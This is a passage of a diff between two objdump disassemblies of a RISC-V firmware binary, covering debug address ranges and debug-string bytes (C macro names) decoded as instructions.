+  8c:	0002                	c.slli64	zero
+  8e:	0c95                	addi	s9,s9,5
+  90:	0000                	unimp
+  92:	0004                	0x4
+	...
+  a0:	1e64                	addi	s1,sp,828
   a2:	2040                	fld	fs0,128(s0)
-  a4:	0022                	c.slli	zero,0x8
+  a4:	00ac                	addi	a1,sp,72
   a6:	0000                	unimp
-  a8:	2b4a                	fld	fs6,144(sp)
+  a8:	1f10                	addi	a2,sp,944
   aa:	2040                	fld	fs0,128(s0)
-  ac:	0006                	c.slli	zero,0x1
-  ae:	0000                	unimp
-  b0:	2b50                	fld	fa2,144(a4)
-  b2:	2040                	fld	fs0,128(s0)
-  b4:	0004                	0x4
+  ac:	0136                	slli	sp,sp,0xd
+	...
   b6:	0000                	unimp
-  b8:	2b54                	fld	fa3,144(a4)
+  b8:	2046                	fld	ft0,80(sp)
   ba:	2040                	fld	fs0,128(s0)
-  bc:	0030                	addi	a2,sp,8
-  be:	0000                	unimp
-  c0:	2b84                	fld	fs1,16(a5)
-  c2:	2040                	fld	fs0,128(s0)
-  c4:	003c                	addi	a5,sp,8
-  c6:	0000                	unimp
-  c8:	2bc0                	fld	fs0,144(a5)
-  ca:	2040                	fld	fs0,128(s0)
-  cc:	0054                	addi	a3,sp,4
+  bc:	0252                	slli	tp,tp,0x14
 	...
+  c6:	0000                	unimp
+  c8:	0054                	addi	a3,sp,4
+  ca:	0000                	unimp
+  cc:	0002                	c.slli64	zero
+  ce:	1a14                	addi	a3,sp,304
+  d0:	0000                	unimp
+  d2:	0004                	0x4
+  d4:	0000                	unimp
   d6:	0000                	unimp
-  d8:	001c                	0x1c
-  da:	0000                	unimp
-  dc:	0002                	c.slli64	zero
-  de:	23c0                	fld	fs0,128(a5)
-  e0:	0000                	unimp
-  e2:	0004                	0x4
-  e4:	0000                	unimp
+  d8:	2298                	fld	fa4,0(a3)
+  da:	2040                	fld	fs0,128(s0)
+  dc:	0004                	0x4
+  de:	0000                	unimp
+  e0:	229c                	fld	fa5,0(a3)
+  e2:	2040                	fld	fs0,128(s0)
+  e4:	0008                	0x8
   e6:	0000                	unimp
-  e8:	2c14                	fld	fa3,24(s0)
+  e8:	22a4                	fld	fs1,64(a3)
   ea:	2040                	fld	fs0,128(s0)
-  ec:	002a                	c.slli	zero,0xa
-	...
+  ec:	0022                	c.slli	zero,0x8
+  ee:	0000                	unimp
+  f0:	22c6                	fld	ft5,80(sp)
+  f2:	2040                	fld	fs0,128(s0)
+  f4:	0006                	c.slli	zero,0x1
   f6:	0000                	unimp
-  f8:	001c                	0x1c
-  fa:	0000                	unimp
-  fc:	0002                	c.slli64	zero
-  fe:	256c                	fld	fa1,200(a0)
- 100:	0000                	unimp
- 102:	0004                	0x4
- 104:	0000                	unimp
+  f8:	22cc                	fld	fa1,128(a3)
+  fa:	2040                	fld	fs0,128(s0)
+  fc:	0004                	0x4
+  fe:	0000                	unimp
+ 100:	22d0                	fld	fa2,128(a3)
+ 102:	2040                	fld	fs0,128(s0)
+ 104:	002e                	c.slli	zero,0xb
  106:	0000                	unimp
- 108:	2c3e                	fld	fs8,456(sp)
+ 108:	22fe                	fld	ft5,472(sp)
  10a:	2040                	fld	fs0,128(s0)
- 10c:	0360                	addi	s0,sp,396
-	...
- 116:	0000                	unimp
- 118:	0014                	0x14
- 11a:	0000                	unimp
- 11c:	0002                	c.slli64	zero
- 11e:	2d1e                	fld	fs10,448(sp)
- 120:	0000                	unimp
- 122:	0004                	0x4
-	...
- 130:	001c                	0x1c
- 132:	0000                	unimp
- 134:	0002                	c.slli64	zero
- 136:	2df5                	jal	832 <__stack_size+0x32>
- 138:	0000                	unimp
- 13a:	0004                	0x4
- 13c:	0000                	unimp
- 13e:	0000                	unimp
- 140:	4ed6                	lw	t4,84(sp)
- 142:	2040                	fld	fs0,128(s0)
- 144:	0340                	addi	s0,sp,388
+ 10c:	003a                	c.slli	zero,0xe
+ 10e:	0000                	unimp
+ 110:	2338                	fld	fa4,64(a4)
+ 112:	2040                	fld	fs0,128(s0)
+ 114:	0052                	c.slli	zero,0x14
 	...
 
 Disassembly of section .debug_str:
@@ -21461,19372 +13585,16017 @@ Disassembly of section .debug_str:
       ca:	4e5f 4e41 5f5f      	0x5f5f4e414e5f
       d0:	3120                	fld	fs0,96(a0)
       d2:	5f00                	lw	s0,56(a4)
-      d4:	435f 5f43 5553      	0x55535f43435f
-      da:	5050                	lw	a2,36(s0)
-      dc:	5354524f          	fnmadd.d	ft4,fs0,fs5,fa0,unknown
-      e0:	445f 4e59 4d41      	0x4d414e59445f
-      e6:	4349                	li	t1,18
-      e8:	415f 5252 5941      	0x59415252415f
-      ee:	495f 494e 2054      	0x2054494e495f
-      f4:	0031                	c.nop	12
-      f6:	5f5f 4c46 414f      	0x414f4c465f5f
-      fc:	5f54                	lw	a3,60(a4)
-      fe:	44524f57          	0x44524f57
-     102:	4f5f 4452 5245      	0x524544524f5f
-     108:	5f5f 5f20 4f5f      	0x4f5f5f205f5f
-     10e:	4452                	lw	s0,20(sp)
-     110:	5245                	li	tp,-15
-     112:	4c5f 5449 4c54      	0x4c5454494c5f
-     118:	5f45                	li	t5,-15
-     11a:	4e45                	li	t3,17
-     11c:	4944                	lw	s1,20(a0)
-     11e:	4e41                	li	t3,16
-     120:	5f5f 5300 495f      	0x495f53005f5f
-     126:	5845                	li	a6,-15
-     128:	4345                	li	t1,17
-     12a:	3020                	fld	fs0,96(s0)
-     12c:	3030                	fld	fa2,96(s0)
-     12e:	3130                	fld	fa2,96(a0)
-     130:	3030                	fld	fa2,96(s0)
-     132:	6100                	flw	fs0,0(a0)
-     134:	6c6c                	flw	fa1,92(s0)
-     136:	0061636f          	jal	t1,1613c <__stack_size+0x1593c>
-     13a:	6e727473          	csrrci	s0,0x6e7,4
-     13e:	656c                	flw	fa1,76(a0)
-     140:	006e                	c.slli	zero,0x1b
-     142:	4e494c43          	fmadd.q	fs8,fs2,ft4,fs1,rmm
-     146:	5f54                	lw	a3,60(a4)
-     148:	4142                	lw	sp,16(sp)
-     14a:	30204553          	0x30204553
-     14e:	3078                	fld	fa4,224(s0)
-     150:	3032                	fld	ft0,296(sp)
-     152:	3030                	fld	fa2,96(s0)
-     154:	3030                	fld	fa2,96(s0)
-     156:	0030                	addi	a2,sp,8
-     158:	535f 5f43 5641      	0x56415f43535f
-     15e:	4850                	lw	a2,20(s0)
-     160:	5359                	li	t1,-10
-     162:	505f 4741 5345      	0x53454741505f
-     168:	3120                	fld	fs0,96(a0)
-     16a:	0032                	c.slli	zero,0xc
-     16c:	4955                	li	s2,21
-     16e:	544e                	lw	s0,240(sp)
-     170:	465f 5341 3354      	0x33545341465f
-     176:	5f32                	lw	t5,44(sp)
-     178:	414d                	li	sp,19
-     17a:	0058                	addi	a4,sp,4
-     17c:	525f 4545 544e      	0x544e4545525f
-     182:	4c5f 3436 5f41      	0x5f4134364c5f
-     188:	5542                	lw	a0,48(sp)
-     18a:	2846                	fld	fa6,80(sp)
-     18c:	7470                	flw	fa2,108(s0)
-     18e:	2972                	fld	fs2,280(sp)
-     190:	2820                	fld	fs0,80(s0)
-     192:	7028                	flw	fa0,96(s0)
-     194:	7274                	flw	fa3,100(a2)
-     196:	2d29                	jal	7b0 <__stack_size-0x50>
-     198:	5f3e                	lw	t5,236(sp)
-     19a:	656e                	flw	fa0,216(sp)
-     19c:	725f2e77          	0x725f2e77
-     1a0:	6565                	lui	a0,0x19
-     1a2:	746e                	flw	fs0,248(sp)
-     1a4:	5f2e                	lw	t5,232(sp)
-     1a6:	366c                	fld	fa1,232(a2)
-     1a8:	6134                	flw	fa3,64(a0)
-     1aa:	625f 6675 0029      	0x296675625f
-     1b0:	535f 5f43 4953      	0x49535f43535f
-     1b6:	45555147          	0x45555147
-     1ba:	4555                	li	a0,21
-     1bc:	4d5f 5841 3120      	0x312058414d5f
-     1c2:	0038                	addi	a4,sp,8
-     1c4:	5f5f 4c46 3354      	0x33544c465f5f
-     1ca:	5f32                	lw	t5,44(sp)
-     1cc:	4944                	lw	s1,20(a0)
-     1ce:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-     1d2:	0036                	c.slli	zero,0xd
-     1d4:	575f 4843 5241      	0x52414843575f
-     1da:	545f 445f 4645      	0x4645445f545f
-     1e0:	4e49                	li	t3,18
-     1e2:	4445                	li	s0,17
-     1e4:	0020                	addi	s0,sp,8
-     1e6:	4c50                	lw	a2,28(s0)
-     1e8:	4349                	li	t1,18
-     1ea:	525f 4745 6f28      	0x6f284745525f
-     1f0:	6666                	flw	fa2,88(sp)
-     1f2:	29746573          	csrrsi	a0,0x297,8
-     1f6:	5f20                	lw	s0,120(a4)
-     1f8:	4552                	lw	a0,20(sp)
-     1fa:	28323347          	fmsub.s	ft6,ft4,ft3,ft5,rup
-     1fe:	4c50                	lw	a2,28(s0)
-     200:	4349                	li	t1,18
-     202:	425f 5341 2c45      	0x2c455341425f
-     208:	6f20                	flw	fs0,88(a4)
-     20a:	6666                	flw	fa2,88(sp)
-     20c:	29746573          	csrrsi	a0,0x297,8
-     210:	5f00                	lw	s0,56(a4)
-     212:	565f4353          	0x565f4353
-     216:	5245                	li	tp,-15
-     218:	4e4f4953          	0x4e4f4953
-     21c:	3720                	fld	fs0,104(a4)
-     21e:	4600                	lw	s0,8(a2)
-     220:	475f 5445 4b4c      	0x4b4c5445475f
-     226:	3720                	fld	fs0,104(a4)
-     228:	5300                	lw	s0,32(a4)
-     22a:	5248                	lw	a0,36(a2)
-     22c:	5f54                	lw	a3,60(a4)
-     22e:	414d                	li	sp,19
-     230:	2058                	fld	fa4,128(s0)
-     232:	5f5f 4853 5452      	0x545248535f5f
-     238:	4d5f 5841 5f5f      	0x5f5f58414d5f
-     23e:	5f00                	lw	s0,56(a4)
-     240:	4d5f 5349 5f43      	0x5f4353494d5f
-     246:	4956                	lw	s2,84(sp)
-     248:	4c424953          	0x4c424953
-     24c:	2045                	jal	2ec <__stack_size-0x514>
-     24e:	0031                	c.nop	12
-     250:	535f 5f43 454c      	0x454c5f43535f
-     256:	4556                	lw	a0,84(sp)
-     258:	334c                	fld	fa1,160(a4)
-     25a:	435f 4341 4548      	0x45484341435f
-     260:	415f 5353 434f      	0x434f5353415f
-     266:	3120                	fld	fs0,96(a0)
-     268:	5f003533          	0x5f003533
-     26c:	495f 544e 465f      	0x465f544e495f
-     272:	5341                	li	t1,-16
-     274:	3154                	fld	fa3,160(a0)
-     276:	5f36                	lw	t5,108(sp)
-     278:	414d                	li	sp,19
-     27a:	5f58                	lw	a4,60(a4)
-     27c:	205f 7830 6637      	0x66377830205f
-     282:	6666                	flw	fa2,88(sp)
-     284:	6666                	flw	fa2,88(sp)
-     286:	6666                	flw	fa2,88(sp)
-     288:	5f00                	lw	s0,56(a4)
-     28a:	535f 4957 2044      	0x20444957535f
-     290:	7830                	flw	fa2,112(s0)
-     292:	3032                	fld	ft0,296(sp)
-     294:	3030                	fld	fa2,96(s0)
-     296:	5f00                	lw	s0,56(a4)
-     298:	4552                	lw	a0,20(sp)
-     29a:	4e45                	li	t3,17
-     29c:	5f54                	lw	a3,60(a4)
-     29e:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
-     2a2:	41525f4b          	fnmsub.s	ft10,ft4,fs5,fs0,unknown
-     2a6:	444e                	lw	s0,208(sp)
-     2a8:	3834                	fld	fa3,112(s0)
-     2aa:	7028                	flw	fa0,96(s0)
-     2ac:	7274                	flw	fa3,100(a2)
-     2ae:	2029                	jal	2b8 <__stack_size-0x548>
-     2b0:	4700                	lw	s0,8(a4)
-     2b2:	4950                	lw	a2,20(a0)
-     2b4:	49485f4f          	fnmadd.s	ft10,fa6,fs4,fs1,unknown
-     2b8:	495f4847          	fmsub.s	fa6,ft10,fs5,fs1,rmm
-     2bc:	2050                	fld	fa2,128(s0)
-     2be:	7830                	flw	fa2,112(s0)
-     2c0:	4332                	lw	t1,12(sp)
-     2c2:	5500                	lw	s0,40(a0)
-     2c4:	4e49                	li	t3,18
-     2c6:	5f54                	lw	a3,60(a4)
-     2c8:	454c                	lw	a1,12(a0)
-     2ca:	5341                	li	t1,-16
-     2cc:	3154                	fld	fa3,160(a0)
-     2ce:	5f36                	lw	t5,108(sp)
-     2d0:	414d                	li	sp,19
-     2d2:	0058                	addi	a4,sp,4
-     2d4:	4955                	li	s2,21
-     2d6:	544e                	lw	s0,240(sp)
-     2d8:	4c5f 4145 5453      	0x545341454c5f
-     2de:	5f38                	lw	a4,120(a4)
-     2e0:	414d                	li	sp,19
-     2e2:	2058                	fld	fa4,128(s0)
-     2e4:	5f5f 4955 544e      	0x544e49555f5f
-     2ea:	4c5f 4145 5453      	0x545341454c5f
-     2f0:	5f38                	lw	a4,120(a4)
-     2f2:	414d                	li	sp,19
-     2f4:	5f58                	lw	a4,60(a4)
-     2f6:	005f 4955 544e      	0x544e4955005f
-     2fc:	465f 5341 3154      	0x31545341465f
-     302:	5f36                	lw	t5,108(sp)
-     304:	414d                	li	sp,19
-     306:	2058                	fld	fa4,128(s0)
-     308:	5f5f 4955 544e      	0x544e49555f5f
-     30e:	465f 5341 3154      	0x31545341465f
-     314:	5f36                	lw	t5,108(sp)
-     316:	414d                	li	sp,19
-     318:	5f58                	lw	a4,60(a4)
-     31a:	005f 5343 5f52      	0x5f525343005f
-     320:	484d                	li	a6,19
-     322:	4d50                	lw	a2,28(a0)
-     324:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
-     328:	4554                	lw	a3,12(a0)
-     32a:	3252                	fld	ft4,304(sp)
-     32c:	2038                	fld	fa4,64(s0)
-     32e:	3432                	fld	fs0,296(sp)
-     330:	5f00                	lw	s0,56(a4)
-     332:	735f 6c63 6165      	0x61656c63735f
-     338:	6572                	flw	fa0,28(sp)
-     33a:	7272                	flw	ft4,60(sp)
-     33c:	7028                	flw	fa0,96(s0)
-     33e:	2029                	jal	348 <__stack_size-0x4b8>
-     340:	2828                	fld	fa0,80(s0)
-     342:	6f76                	flw	ft10,92(sp)
-     344:	6469                	lui	s0,0x1a
-     346:	2829                	jal	360 <__stack_size-0x4a0>
-     348:	7028                	flw	fa0,96(s0)
-     34a:	2d29                	jal	964 <__stack_size+0x164>
-     34c:	5f3e                	lw	t5,236(sp)
-     34e:	6c66                	flw	fs8,88(sp)
-     350:	6761                	lui	a4,0x18
-     352:	3d262073          	csrs	0x3d2,a2
-     356:	7e20                	flw	fs0,120(a2)
-     358:	5f28                	lw	a0,120(a4)
-     35a:	535f 5245 7c52      	0x7c525245535f
-     360:	5f5f 4553 464f      	0x464f45535f5f
-     366:	2929                	jal	780 <__stack_size-0x80>
-     368:	0029                	c.nop	10
-     36a:	575f 4e49 5f54      	0x5f544e49575f
-     370:	2054                	fld	fa3,128(s0)
-     372:	4900                	lw	s0,16(a0)
-     374:	544e                	lw	s0,240(sp)
-     376:	4c5f 4145 5453      	0x545341454c5f
-     37c:	3631                	jal	fffffe88 <_heap_end+0x7fff1688>
-     37e:	4d5f 4e49 2820      	0x28204e494d5f
-     384:	492d                	li	s2,11
-     386:	544e                	lw	s0,240(sp)
-     388:	4c5f 4145 5453      	0x545341454c5f
-     38e:	3631                	jal	fffffe9a <_heap_end+0x7fff169a>
-     390:	4d5f 5841 2d20      	0x2d2058414d5f
-     396:	3120                	fld	fs0,96(a0)
-     398:	0029                	c.nop	10
-     39a:	5f46                	lw	t5,112(sp)
-     39c:	5544                	lw	s1,44(a0)
-     39e:	4650                	lw	a2,12(a2)
-     3a0:	5f44                	lw	s1,60(a4)
-     3a2:	454f4c43          	0x454f4c43
-     3a6:	4558                	lw	a4,12(a0)
-     3a8:	34312043          	0x34312043
-     3ac:	6600                	flw	fs0,8(a2)
-     3ae:	6f65                	lui	t5,0x19
-     3b0:	2866                	fld	fa6,88(sp)
-     3b2:	2970                	fld	fa2,208(a0)
-     3b4:	5f20                	lw	s0,120(a4)
-     3b6:	735f 6566 666f      	0x666f6566735f
-     3bc:	7028                	flw	fa0,96(s0)
-     3be:	0029                	c.nop	10
-     3c0:	5f5f 6673 7265      	0x726566735f5f
-     3c6:	6f72                	flw	ft10,28(sp)
-     3c8:	2872                	fld	fa6,280(sp)
-     3ca:	2970                	fld	fa2,208(a0)
-     3cc:	2820                	fld	fs0,80(s0)
-     3ce:	6928                	flw	fa0,80(a0)
-     3d0:	746e                	flw	fs0,248(sp)
-     3d2:	2829                	jal	3ec <__stack_size-0x414>
-     3d4:	2828                	fld	fa0,80(s0)
-     3d6:	2970                	fld	fa2,208(a0)
-     3d8:	3e2d                	jal	ffffff12 <_heap_end+0x7fff1712>
-     3da:	665f 616c 7367      	0x7367616c665f
-     3e0:	2620                	fld	fs0,72(a2)
-     3e2:	5f20                	lw	s0,120(a4)
-     3e4:	535f 5245 2952      	0x29525245535f
-     3ea:	2120                	fld	fs0,64(a0)
-     3ec:	203d                	jal	41a <__stack_size-0x3e6>
-     3ee:	2930                	fld	fa2,80(a0)
-     3f0:	0029                	c.nop	10
-     3f2:	535f 5f43 5254      	0x52545f43535f
-     3f8:	4341                	li	t1,16
-     3fa:	5f45                	li	t5,-15
-     3fc:	4e49                	li	t3,18
-     3fe:	4548                	lw	a0,12(a0)
-     400:	4952                	lw	s2,20(sp)
-     402:	2054                	fld	fa3,128(s0)
-     404:	3638                	fld	fa4,104(a2)
-     406:	4e00                	lw	s0,24(a2)
-     408:	5f4c                	lw	a1,60(a4)
-     40a:	5241                	li	tp,-16
-     40c:	58414d47          	fmsub.s	fs10,ft2,ft4,fa1,rmm
-     410:	3320                	fld	fs0,96(a4)
-     412:	0032                	c.slli	zero,0xc
-     414:	4c425f53          	0x4c425f53
-     418:	5a49534b          	fnmsub.d	ft6,fs2,ft4,fa1,unknown
-     41c:	2045                	jal	4bc <__stack_size-0x344>
-     41e:	3031                	jal	fffffc2a <_heap_end+0x7fff142a>
-     420:	3432                	fld	fs0,296(sp)
-     422:	5200                	lw	s0,32(a2)
-     424:	4f5f 204b 0034      	0x34204b4f5f
-     42a:	435f 4f4c 4b43      	0x4b434f4c435f
-     430:	545f 205f 6e75      	0x6e75205f545f
-     436:	6e676973          	csrrsi	s2,0x6e6,14
-     43a:	6465                	lui	s0,0x19
-     43c:	6c20                	flw	fs0,88(s0)
-     43e:	00676e6f          	jal	t3,76444 <__stack_size+0x75c44>
-     442:	5f5f 6168 6576      	0x657661685f5f
-     448:	6c5f 6e6f 6c67      	0x6c676e6f6c5f
-     44e:	36676e6f          	jal	t3,767b4 <__stack_size+0x75fb4>
-     452:	2034                	fld	fa3,64(s0)
-     454:	0031                	c.nop	12
-     456:	5f5f 5450 4452      	0x445254505f5f
-     45c:	4649                	li	a2,18
-     45e:	5f46                	lw	t5,112(sp)
-     460:	414d                	li	sp,19
-     462:	5f58                	lw	a4,60(a4)
-     464:	205f 7830 6637      	0x66377830205f
-     46a:	6666                	flw	fa2,88(sp)
-     46c:	6666                	flw	fa2,88(sp)
-     46e:	6666                	flw	fa2,88(sp)
-     470:	4900                	lw	s0,16(a0)
-     472:	544e                	lw	s0,240(sp)
-     474:	3436                	fld	fs0,360(sp)
-     476:	4d5f 4e49 2820      	0x28204e494d5f
-     47c:	492d                	li	s2,11
-     47e:	544e                	lw	s0,240(sp)
-     480:	3436                	fld	fs0,360(sp)
-     482:	4d5f 5841 2d20      	0x2d2058414d5f
-     488:	3120                	fld	fs0,96(a0)
-     48a:	0029                	c.nop	10
-     48c:	495f 544e 414d      	0x414d544e495f
-     492:	5f58                	lw	a4,60(a4)
-     494:	5f54                	lw	a3,60(a4)
-     496:	4544                	lw	s1,12(a0)
-     498:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-     49c:	4445                	li	s0,17
-     49e:	0020                	addi	s0,sp,8
-     4a0:	4342                	lw	t1,16(sp)
-     4a2:	535f 4143 454c      	0x454c4143535f
-     4a8:	4d5f 5841 3920      	0x392058414d5f
-     4ae:	0039                	c.nop	14
-     4b0:	5f5f 4c46 3654      	0x36544c465f5f
-     4b6:	5f34                	lw	a3,120(a4)
-     4b8:	494d                	li	s2,19
-     4ba:	5f4e                	lw	t5,240(sp)
-     4bc:	3031                	jal	fffffcc8 <_heap_end+0x7fff14c8>
-     4be:	455f 5058 5f5f      	0x5f5f5058455f
-     4c4:	2820                	fld	fs0,80(s0)
-     4c6:	332d                	jal	1f0 <__stack_size-0x610>
-     4c8:	3730                	fld	fa2,104(a4)
-     4ca:	0029                	c.nop	10
-     4cc:	5442                	lw	s0,48(sp)
-     4ce:	314e                	fld	ft2,240(sp)
-     4d0:	3320                	fld	fs0,96(a4)
-     4d2:	0030                	addi	a2,sp,8
-     4d4:	5f5f 4e47 4355      	0x43554e475f5f
-     4da:	494c                	lw	a1,20(a0)
-     4dc:	425f454b          	fnmsub.d	fa0,ft10,ft5,fs0,rmm
-     4e0:	4955                	li	s2,21
-     4e2:	544c                	lw	a1,44(s0)
-     4e4:	4e49                	li	t3,18
-     4e6:	435f 4e4f 5453      	0x54534e4f435f
-     4ec:	4e41                	li	t3,16
-     4ee:	5f54                	lw	a3,60(a4)
-     4f0:	2050                	fld	fa2,128(s0)
-     4f2:	0031                	c.nop	12
-     4f4:	5f5f 6975 746e      	0x746e69755f5f
-     4fa:	5f38                	lw	a4,120(a4)
-     4fc:	0074                	addi	a3,sp,12
-     4fe:	535f 5f43 4854      	0x48545f43535f
-     504:	4552                	lw	a0,20(sp)
-     506:	4441                	li	s0,16
-     508:	505f 4952 524f      	0x524f4952505f
-     50e:	5449                	li	s0,-14
-     510:	5f59                	li	t5,-10
-     512:	45484353          	0x45484353
-     516:	5544                	lw	s1,44(a0)
-     518:	494c                	lw	a1,20(a0)
-     51a:	474e                	lw	a4,208(sp)
-     51c:	3420                	fld	fs0,104(s0)
-     51e:	0035                	c.nop	13
-     520:	5f5f 4357 4148      	0x414843575f5f
-     526:	5f52                	lw	t5,52(sp)
-     528:	5954                	lw	a3,52(a0)
-     52a:	4550                	lw	a2,12(a0)
-     52c:	5f5f 6920 746e      	0x746e69205f5f
-     532:	5500                	lw	s0,40(a0)
-     534:	4e49                	li	t3,18
-     536:	5f54                	lw	a3,60(a4)
-     538:	4146                	lw	sp,80(sp)
-     53a:	34365453          	0x34365453
-     53e:	4d5f 5841 5f00      	0x5f0058414d5f
-     544:	755f 6964 6476      	0x64766964755f
-     54a:	3369                	jal	2d4 <__stack_size-0x52c>
-     54c:	5f00                	lw	s0,56(a4)
-     54e:	705f 6972 746e      	0x746e6972705f
-     554:	6c66                	flw	fs8,88(sp)
-     556:	6b69                	lui	s6,0x1a
-     558:	2865                	jal	610 <__stack_size-0x1f0>
-     55a:	6d66                	flw	fs10,88(sp)
-     55c:	6174                	flw	fa3,68(a0)
-     55e:	6772                	flw	fa4,28(sp)
-     560:	662c                	flw	fa1,72(a2)
-     562:	7269                	lui	tp,0xffffa
-     564:	61767473          	csrrci	s0,0x617,12
-     568:	6172                	flw	ft2,28(sp)
-     56a:	6772                	flw	fa4,28(sp)
-     56c:	2029                	jal	576 <__stack_size-0x28a>
-     56e:	5f5f 7461 7274      	0x727474615f5f
-     574:	6269                	lui	tp,0x1a
-     576:	7475                	lui	s0,0xffffd
-     578:	5f65                	li	t5,-7
-     57a:	285f 5f28 665f      	0x665f5f28285f
-     580:	616d726f          	jal	tp,d7b96 <__stack_size+0xd7396>
-     584:	5f74                	lw	a3,124(a4)
-     586:	205f 5f28 705f      	0x705f5f28205f
-     58c:	6972                	flw	fs2,28(sp)
-     58e:	746e                	flw	fs0,248(sp)
-     590:	5f66                	lw	t5,120(sp)
-     592:	2c5f 6620 746d      	0x746d66202c5f
-     598:	7261                	lui	tp,0xffff8
-     59a:	66202c67          	0x66202c67
-     59e:	7269                	lui	tp,0xffffa
-     5a0:	61767473          	csrrci	s0,0x617,12
-     5a4:	6172                	flw	ft2,28(sp)
-     5a6:	6772                	flw	fa4,28(sp)
-     5a8:	2929                	jal	9c2 <__stack_size+0x1c2>
-     5aa:	0029                	c.nop	10
-     5ac:	5f5f 5453 4344      	0x434454535f5f
-     5b2:	5f5f 3120 5f00      	0x5f0031205f5f
-     5b8:	754e                	flw	fa0,240(sp)
-     5ba:	6c6c                	flw	fa1,92(s0)
-     5bc:	755f 736e 6570      	0x6570736e755f
-     5c2:	69666963          	bltu	a2,s6,c54 <__stack_size+0x454>
-     5c6:	6465                	lui	s0,0x19
-     5c8:	0020                	addi	s0,sp,8
-     5ca:	4355                	li	t1,21
-     5cc:	4148                	lw	a0,4(a0)
-     5ce:	5f52                	lw	t5,52(sp)
-     5d0:	414d                	li	sp,19
-     5d2:	2058                	fld	fa4,128(s0)
-     5d4:	5328                	lw	a0,96(a4)
-     5d6:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-     5da:	4d5f 5841 2a20      	0x2a2058414d5f
-     5e0:	3220                	fld	fs0,96(a2)
-     5e2:	2b20                	fld	fs0,80(a4)
-     5e4:	3120                	fld	fs0,96(a0)
-     5e6:	0029                	c.nop	10
-     5e8:	6566                	flw	fa0,88(sp)
-     5ea:	7272                	flw	ft4,60(sp)
-     5ec:	755f726f          	jal	tp,f8540 <__stack_size+0xf7d40>
-     5f0:	6c6e                	flw	fs8,216(sp)
-     5f2:	656b636f          	jal	t1,b6c48 <__stack_size+0xb6448>
-     5f6:	2864                	fld	fs1,208(s0)
-     5f8:	2970                	fld	fa2,208(a0)
-     5fa:	5f20                	lw	s0,120(a4)
-     5fc:	735f 6566 7272      	0x72726566735f
-     602:	7028726f          	jal	tp,87d04 <__stack_size+0x87504>
-     606:	0029                	c.nop	10
-     608:	525f 4145 5f44      	0x5f444145525f
-     60e:	54495257          	0x54495257
-     612:	5f45                	li	t5,-15
-     614:	5542                	lw	a0,48(sp)
-     616:	5346                	lw	t1,112(sp)
-     618:	5a49                	li	s4,-14
-     61a:	5f45                	li	t5,-15
-     61c:	5954                	lw	a3,52(a0)
-     61e:	4550                	lw	a2,12(a0)
-     620:	6920                	flw	fs0,80(a0)
-     622:	746e                	flw	fs0,248(sp)
-     624:	5f00                	lw	s0,56(a4)
-     626:	505f4353          	0x505f4353
-     62a:	4741                	li	a4,16
-     62c:	5f45                	li	t5,-15
-     62e:	455a4953          	0x455a4953
-     632:	5f20                	lw	s0,120(a4)
-     634:	505f4353          	0x505f4353
-     638:	4741                	li	a4,16
-     63a:	5345                	li	t1,-15
-     63c:	5a49                	li	s4,-14
-     63e:	0045                	c.nop	17
-     640:	5f5f 4c46 3354      	0x33544c465f5f
-     646:	5f32                	lw	t5,44(sp)
-     648:	414d                	li	sp,19
-     64a:	5f58                	lw	a4,60(a4)
-     64c:	5845                	li	a6,-15
-     64e:	5f50                	lw	a2,60(a4)
-     650:	205f 3231 0038      	0x383231205f
-     656:	4155                	li	sp,21
-     658:	5452                	lw	s0,52(sp)
-     65a:	525f 4658 4649      	0x46494658525f
-     660:	7830204f          	fnmadd.s	ft0,ft0,ft3,fa5,rdn
-     664:	3430                	fld	fa2,104(s0)
-     666:	5f00                	lw	s0,56(a4)
-     668:	535f 524f 2044      	0x2044524f535f
-     66e:	7830                	flw	fa2,112(s0)
-     670:	3032                	fld	ft0,296(sp)
-     672:	3030                	fld	fa2,96(s0)
-     674:	5000                	lw	s0,32(s0)
-     676:	494c                	lw	a1,20(a0)
-     678:	52505f43          	fmadd.d	ft10,ft0,ft5,fa0,unknown
-     67c:	5f49                	li	t5,-14
-     67e:	46494853          	0x46494853
-     682:	5f54                	lw	a3,60(a4)
-     684:	4550                	lw	a2,12(a0)
-     686:	5f52                	lw	t5,52(sp)
-     688:	52554f53          	0x52554f53
-     68c:	32204543          	fmadd.d	fa0,ft0,ft2,ft6,rmm
-     690:	5f00                	lw	s0,56(a4)
-     692:	555f 4e49 3654      	0x36544e49555f
-     698:	5f34                	lw	a3,120(a4)
-     69a:	5954                	lw	a3,52(a0)
-     69c:	4550                	lw	a2,12(a0)
-     69e:	5f5f 6c20 6e6f      	0x6e6f6c205f5f
-     6a4:	6f6c2067          	0x6f6c2067
-     6a8:	676e                	flw	fa4,216(sp)
-     6aa:	7520                	flw	fs0,104(a0)
-     6ac:	736e                	flw	ft6,248(sp)
-     6ae:	6769                	lui	a4,0x1a
-     6b0:	656e                	flw	fa0,216(sp)
-     6b2:	2064                	fld	fs1,192(s0)
-     6b4:	6e69                	lui	t3,0x1a
-     6b6:	0074                	addi	a3,sp,12
-     6b8:	52495f53          	0x52495f53
-     6bc:	2048544f          	fnmadd.s	fs0,fa6,ft4,ft4,unknown
-     6c0:	3030                	fld	fa2,96(s0)
-     6c2:	3030                	fld	fa2,96(s0)
-     6c4:	3030                	fld	fa2,96(s0)
-     6c6:	0034                	addi	a3,sp,8
-     6c8:	5f5f 4244 5f4c      	0x5f4c42445f5f
-     6ce:	414d                	li	sp,19
-     6d0:	5f58                	lw	a4,60(a4)
-     6d2:	3031                	jal	fffffede <_heap_end+0x7fff16de>
-     6d4:	455f 5058 5f5f      	0x5f5f5058455f
-     6da:	3320                	fld	fs0,96(a4)
-     6dc:	3830                	fld	fa2,112(s0)
-     6de:	4300                	lw	s0,0(a4)
-     6e0:	4d5f5253          	0x4d5f5253
-     6e4:	5048                	lw	a0,36(s0)
-     6e6:	434d                	li	t1,19
-     6e8:	544e554f          	0x544e554f
-     6ec:	5245                	li	tp,-15
-     6ee:	3732                	fld	fa4,296(sp)
-     6f0:	3220                	fld	fs0,96(a2)
-     6f2:	0032                	c.slli	zero,0xc
-     6f4:	5f5f 6f63 736e      	0x736e6f635f5f
-     6fa:	2074                	fld	fa3,192(s0)
-     6fc:	736e6f63          	bltu	t3,s6,e3a <__stack_size+0x63a>
-     700:	0074                	addi	a3,sp,12
-     702:	535f 5f43 5049      	0x50495f43535f
